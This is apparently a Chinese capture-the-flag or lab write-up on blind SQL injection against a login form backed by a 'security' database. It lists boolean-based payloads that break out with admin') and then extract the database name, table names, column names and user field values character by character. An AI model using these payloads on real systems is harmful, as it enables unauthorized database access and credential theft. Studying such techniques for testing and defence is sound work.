登录题——-盲注

判断注入类型:

用 账号 admin’ 和密码 123 登录发现报错,显示是对id进行 ‘) 的处理
登录报错.PNG

判断注入方式:

使用 用户名 admin’)# 和密码 123 登录成功,但是没有回显任何信息,故之后之后盲注的方式获取数据库信息
登录成功.PNG

后面使用盲注语句:

判断数据库长度: ?id=admin') and length(database())=1 #

爆破数据库名字符: ?id=admin') and substr(database(),1,1)='a' --+

获取数据库表的数量: ?id=admin') and (select count(*) from information_schema.tables where table_schema="security") = 1 #

判断数据库表的长度: ?id=admin') and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=1 #

爆破数据库表名字符: ?id=admin') and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a' #

获取到的表名: email referers uagents users

爆破表的字段数: ?id=admin') and (select count(*) from information_schema.columns where table_name="users")=1 #

获取字段名字的长度: ?id=admin') and length((select column_name from information_schema.columns where table_name="user" limit 0,1))=1 #

获取字段名: ?id=admin') and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1), 1,1))=1 #

获取到的字段名: user CURRENT_CONNECTIONS TOTAL_CONNECTIONS id username password

爆字段值: ?id=admin') and ascii(substr((select name from security.users limit 0,1), 1, 1))=1 #